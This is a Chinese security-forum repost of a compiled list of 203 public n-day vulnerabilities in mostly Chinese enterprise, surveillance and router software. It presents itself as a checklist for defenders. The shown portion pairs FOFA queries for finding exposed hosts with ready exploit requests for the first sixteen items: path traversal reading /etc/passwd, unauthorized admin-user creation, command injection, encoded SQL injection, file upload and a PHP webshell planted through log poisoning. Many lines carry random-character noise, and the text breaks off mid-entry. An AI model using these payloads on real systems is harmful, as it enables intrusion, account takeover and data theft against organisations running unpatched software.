中国网络渗透测试联盟

标题: 互联网公开漏洞整理202309-202406--转载 [打印本页]

---

作者: admin    时间: 2024-6-5 14:31
标题: 互联网公开漏洞整理202309-202406--转载
互联网公开漏洞整理202309-202406
2 K  g3 t2 D  J6 d3 C) ]) H1 R: u: B道一安全 2024-06-05 07:41 北京
& n& v. n: W) ?- ^/ o( e以下文章来源于网络安全新视界 ，作者网络安全新视界
! ]' K- W+ m) j1 ^. ~7 G
, z" ]* R; T% M- z% J- v发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
0 V; v0 u9 {3 @
: h# O+ s; o; n. _8 V9 y5 |漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
: Y1 v  |6 Z% r, ]3 R# N
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


( X$ E: n: R, y. k7 A5 h声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
7 N3 I' P0 y; b* X4 N" M
9 C9 a' S2 d5 Y5 G; L$ E有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



目录

01
: g4 y* O/ u+ d
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
' X2 Q+ [+ e4 T2 }3. EasyCVR智能边缘网关 userlist 信息泄漏
# A& M6 x0 Q* @4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
. V: L" O; J4 Q# x7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9 E- E% ~' t. O" A& g6 y/ c& d9. 稻壳CMS keyword 未授权SQL注入
: f' L. k& j) \4 s# k! X10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
8 g6 H% S$ x4 ?11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
" M0 ^  k8 \  ?0 @& J* F5 ^12. Jorani < 1.0.2 远程命令执行
+ q  T" F9 T* C/ J2 g7 q13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
& k: X# I  v* X" ~% `1 f& n15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
! }* M$ `: f; M6 G1 B4 u( k# Y18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
! O, x7 a. g9 _* U  e7 R$ W25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
; s1 C( E! t' T33. 用友NC downTax/download SQL注入
/ y% V; c+ C2 I1 h34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
$ {, S7 ^: I3 j41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
! ~  H# ~+ b' @43. 用友GRP-U8 userInfoWeb SQL注入致RCE
" d8 M( P& ~) J44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
# z; z* S  \9 C% D' y  R) F47. 用友GRP A++Cloud 政府财务云 任意文件读取
- t5 C% n7 y) m+ D, E% l48. 用友U8 CRM swfupload 任意文件上传
' q! S2 w/ d. H9 B" @, i  Y49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
% R0 {& ]% k* J51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
3 E7 ]' [5 V. `0 [2 ]8 L" Q. w55. 畅捷通T+ getdecallusers信息泄露
' x, ]$ m6 ?/ L5 }1 K0 d56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
; R3 w( T$ y& ]( ?57. 畅捷通T+ keyEdit.aspx SQL注入
6 _6 S4 M3 G/ H# f( [  C58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
. e/ B/ j% e) O+ n3 w: ~, v61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
, x: z  c' k: j* V9 \65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
% L8 \; T/ C# b6 \( ^4 n9 f68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
( T, o  w/ Y5 A+ r0 `/ `70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
3 d4 p& y3 ]  c( L. c6 N) O72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
. k( L, H  b+ ^* R+ j, N81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
4 C: C8 Z- V7 C+ J* s82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
  }. @9 N. E5 q/ z! u84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
- l2 ^; Y8 z9 G2 f( A- h/ M% L) E: D86. 日本tosei自助洗衣机RCE
4 ]& |1 \+ a  n( t$ u87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
: F& j. C7 w5 r4 T- y91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
9 o2 n4 h, F0 g$ J0 x5 E94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
7 r+ ~9 L; e5 Q3 {- _96. Apache OFBiz  18.12.11 groovy 远程代码执行
- u1 R1 p* D6 i" u0 v5 K97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
6 I, d* A! V+ k& J+ w5 {99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
7 ^7 k$ a' ~6 G, U103. Ivanti Pulse Connect Secure VPN XXE
5 Z/ @: O+ Z) E( D104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
9 m3 o) q2 `3 ~1 E7 N1 R106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
" F0 ~, A; F/ u- i  Y9 Q0 W) W8 h9 e111. WordPress Plugin HTML5 Video Player SQL注入
0 ^. Q" n6 h# r/ g4 L112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
/ F/ e& t) d2 Y- |  \* [9 ^! V117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
0 w9 x5 q* t% S0 \0 t119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
# {& j' J) a  r121. 北京百绰智能S42管理平台userattestation.php任意文件上传
. Q6 m+ d, K/ o3 N, Y3 B( _* H/ b122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
7 D; X7 x4 q0 X4 N125. ConnectWise ScreenConnect身份验证绕过
. O# j6 v# q+ l+ B+ J7 S& u. K5 `  `126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
" j5 z" d1 Q: l% W. x+ K128. Adobe ColdFusion 反序列化
8 N6 U  w: i) [. v129. Adobe ColdFusion 任意文件读取
) _, D3 P% Y1 A9 z130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
9 R2 Y1 D0 k& |  _6 [: q4 g133. H5 云商城 file.php 文件上传
$ j/ I2 V' p2 j$ S8 {& u134. 网康NS-ASG应用安全网关index.php sql注入
; d9 L$ M0 n* o5 d4 r( A7 y8 t135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
: B; v4 V; W  @( q8 {136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
- ?' c3 U+ @4 s- g% t& j) E, q139. 福建科立讯通信指挥调度平台editemedia.php sql注入
( z5 @6 k5 ]% v140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
2 k. G8 D( q+ W9 _6 s' H141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
/ I4 A2 B" m/ ?, t6 w3 E7 t' o143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
8 b3 _3 B5 W8 l* R146. MajorDoMo thumb.php 未授权远程代码执行
' Z# n. C, i8 r6 x- v1 b  Y147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
! {- K) Q) p! G148. CrushFTP 认证绕过模板注入
2 J* A" W. c1 f149. AJ-Report开源数据大屏存在远程命令执行
: u, Y9 U" Q* W* s6 a7 v8 d150. AJ-Report 1.4.0 认证绕过与远程代码执行
7 w7 Y- E4 L5 P' I151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
# Q+ n; {3 p. _4 R! ^7 {153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
# k2 m0 j' N6 h" ]8 N7 t155. 六零导航页 file.php 任意文件上传
& e0 S4 {6 c* k1 @156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
. A5 x& i5 I7 [158. Mura-CMS-processAsyncObject存在SQL注入
' G+ V0 _0 t( v7 _" N5 K1 t/ F0 C( C159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
5 z1 c& C0 J# |9 l! C6 J161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
* {* V4 J4 C: c# \5 M162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
, [" ~  C* N3 V1 W% X- ^# F164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
+ v' b' T+ ^# e167. 精益价值管理系统 DownLoad.aspx任意文件读取
7 q6 g* f9 F2 y' s+ N168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
/ I# `) x# x  X* X. O1 T; ?8 ~: F171. 通天星CMSV6车载定位监控平台 SQL注入
. c! q: ^; m  [, l) f172. DT-高清车牌识别摄像机任意文件读取
! j' ~# i, O* P$ Q: L1 k173. Check Point 安全网关任意文件读取
1 Z: G1 w& T! f( u; v174. 金和OA C6 FileDownLoad.aspx 任意文件读取
5 `5 w# _5 v" \* ^' D  s8 m& ?: m175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
) B. c1 J* U0 L/ l" x, j/ }, N" B5 X179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
1 g! H; v6 a) ~. Q3 Q181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
+ u# @' ]- y6 ]# S* c182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
, W. m( c8 g  G7 K4 q7 V183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
4 T& `" y1 b- O; ~- M187. Mura CMS processAsyncObject SQL注入
) N. t! b) ?* O0 b: s# l  ^) l188. 叁体-佳会视频会议 attachment 任意文件读取
( {! N6 `* B: c! Y% ^  }189. 蓝网科技临床浏览系统 deleteStudy SQL注入
, x: ~& k; V" l9 e% A- c# z. N190. 短视频矩阵营销系统 poihuoqu 任意文件读取
* J( |$ U3 g* H4 o9 G- B191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
4 g4 ?1 F7 _4 \6 y6 q192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
! y( E3 R, l0 H$ F# O195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
) T" `. d+ S  y2 ^+ C1 n6 y199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
% E9 e+ n( T: m4 d, o8 v/ [202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

7 [. J0 H' c0 p- BPOC列表
( m9 H! I3 @# @
02

0 A, K: J2 g& _" _1. StarRocks MPP数据库未授权访问
& P* n6 ^* }: UFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL

' U' a# j6 y5 ^0 K8 E# j# s8 ~# r
2 ~4 F% I. a! O/ R2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
% S% Z) T2 z6 F) kHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) E# a; ^" X7 u/ L0 h6 f! k* MConnection: close
. P; A7 `. F. O/ WAccept: */*
( L! C) K: z9 G- JAccept-Language: en
2 T/ |8 l: H* s) X% w3 QAccept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
! {% n" `* s' l7 r5 H( v2 EFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
+ r; ~4 j' d# k! b4 M) J. ]- Q

) [, v* i1 f/ f$ R7 ?; x4. EasyCVR视频管理平台存在任意用户添加
1 o8 K" _0 N+ [; C- zFOFA ：title="EasyCVR"

* g! x" n# u0 s5 X$ A- o, Gpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
5 B+ j2 z7 ]/ B+ f0 `5 B

1 r7 f/ Q3 N! x7 n7 l5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
: t: e% O" c% X7 F

) J# [/ d: ]9 j4 z  Z8 s6 O6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
. M) J+ ^0 n) ^. y, nGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
# I5 y% |2 e! yHost:

9 g" \& I4 t6 ~1 q# u
7. 鸿运主动安全监控云平台任意文件下载
2 P/ s4 B" _4 zFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
3 ]: @" H- K! u7 ~. h
" ^# j3 c3 {5 _% `( H9 m
8. 斐讯 Phicomm 路由器RCE
1 e1 F: ]' J3 }( F5 u- ]6 D% HFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
# R' t1 N3 C+ r$ u5 Y! OPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
$ d! V2 Y. M7 q2 M. i4 g# o' ]Host: x.x.x.x
, v  e' s9 \. t+ b9 }7 ECookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
4 {3 r: b+ U# X4 `1 F. A7 P+ oUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 l: M! O% {4 [  s
1 P4 o2 c& p  g# h( L------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
2 f3 O+ h- R* Y
! l) i+ j; _- N7 U3 s4 [2 ~/ l) ?, U: N8 B%s
------WebKitFormBoundaryxbgjoytz
+ N3 s. y4 A8 F( N/ G' ^Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
9 Q; }7 H* x# S5 ~# ~; Y  \Content-Disposition: form-data; name="wifiRebootendrange"

9 d/ r4 |- J, V! F: k; }  D, I%s:
( u# ]' d1 y/ e6 ]6 D' g# m4 G------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


0 n3 U$ l1 v6 S2 G/ \2 B------WebKitFormBoundaryxbgjoytz--
/ a: I  m  ^" G5 s" A7 {

9. 稻壳CMS keyword 未授权SQL注入
8 u2 V, Z( g) n% sFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
0 U1 p; k  q) x* \& Q& \

6 G, d5 Y; d: ]payload为下列语句的二次Url编码
) |! E& _# X$ I: T0 v8 u
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
0 O0 R8 D- g0 j! I- z1 ?FOFA：icon_hash="953405444"
, C+ t# A" Z, I! o, _0 e
+ V" h6 Y- [+ o* D4 U文件上传后响应中包含上传文件的路径
# A, r4 P) e! d' kPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
( J3 D1 L% w" N# I; U0 `Content-Length: 197
  K+ y8 v0 D, s* i' |8 [" i' bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
2 Q; y, G* ~2 ^) MAccept-Encoding: gzip, deflate
- k- ?7 k5 H/ T) cAccept-Language: zh-CN,zh;q=0.9
" l7 D/ u; s' G; V( G6 A  Y3 ?Connection: close
) v5 }  |7 I7 h3 a1 eContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
( v' F- a, l8 p# d5 _+ c& K
  s9 H6 M; Q4 O6 U, j+ q------WebKitFormBoundaryxdgaqmqu
" _) S; g9 t" `3 E* U# n; A: H7 HContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

' n# B( N; k# S7 C: q# Y) }) k: w
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
. i+ S1 j& S0 E6 H8 [+ F) _9 nGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
  \$ w, ~* w6 L, ~$ cHost: 127.0.0.1
, K- t7 S- r2 YPragma: no-cache
. \# ]/ k: l+ ?- NCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" |2 U  |6 }" }5 J9 C) p/ B& x/ rAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
% C" t# U7 p- ?Connection: close


12. Jorani < 1.0.2 远程命令执行
# ?  f6 E/ i$ `; FFOFA：title="Jorani"
. j% X2 U9 Y. [! {* L第一步先拿到cookie
GET /session/login HTTP/1.1
: s+ y4 H  r- R7 s% cHost: 192.168.190.30
7 R5 d& o1 q, h4 p% ?: tUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
) ?. n( G2 b* v! \3 uConnection: close
: F  A+ O% Z8 C9 n& X. bAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
; d4 h, a3 I% aConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
" ?0 b& }  ^# x! U+ w2 x. V( M, q4 rExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
- h- ^8 F8 a6 q% d3 w

POST请求，执行函数并进行base64编码
4 }2 Q) d' B& vPOST /session/login HTTP/1.1
1 J. s( D  p9 o; G7 g. X$ ZHost: 192.168.190.30
( }- m& N, q2 h6 @& iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
! }0 ^  \: Z* A* `9 TConnection: close
Content-Length: 252
4 t5 F# h% {$ n# LContent-Type: application/x-www-form-urlencoded
: a& M# e+ D9 k) T$ t* dCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

, D- q/ S' T! b. s2 V  Z

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
0 j3 P4 r4 L/ {0 m- eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! Q3 a4 {% S& K+ l5 y( u# d& R: W( nConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
8 M" X* y$ D2 b% U0 e7 w3 P

. F$ v: X: X6 ~5 A: T) a" ]13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
3 K  C& ?7 `8 N9 J

3 e9 A& p' H5 r+ j14. 华夏ERP（jshERP）敏感信息泄露
- `, p& e# p& J& e$ _. MFOFA：body="jshERP-boot"
泄露内容包括用户名密码
1 K: ]$ L9 _( f$ z1 q/ n3 EGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
/ _$ a! [) Q5 X5 R) x2 `; |Host: x.x.x.x
2 P. S; u" w) N4 G# d4 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
- C$ v* Z2 }& _/ F& O" n0 e7 ^8 @Accept: */*
9 j& r: k' f6 a$ s2 Q8 D& GAccept-Language: en
  B* X4 R, [, _$ C4 RAccept-Encoding: gzip

6 K" Z1 m2 Y5 M1 m/ G
% C# }' h( `! ~4 u15. 华夏ERP getAllList信息泄露
( |5 Y, E* c: A+ |CVE-2024-0490
FOFA：body="jshERP-boot"
3 t+ o8 {& P* G泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
' [6 N, u: S, J/ @. I4 QHost: 192.168.40.130:100
! c# s) H8 w# I$ [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
0 {. V1 Y) q# E- U) pConnection: close
4 R" ~+ F4 i4 t- k! f) {Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
5 N4 }+ G4 D6 F+ `0 K

16.  红帆HFOffice医微云SQL注入
7 C% Q+ Q/ {4 F6 ~  Q, ]3 G8 IFOFA：title="HFOffice"
; M+ y5 W) |5 z7 _6 lpoc中调用函数计算1234的md5值
8 ^( y. i6 V; u& ]- m7 U& ^6 ^GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
# [, F: l) f: s& OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
& F2 D  _7 Y# O+ f& b9 I/ j" A* ^" CConnection: close
Accept: */*
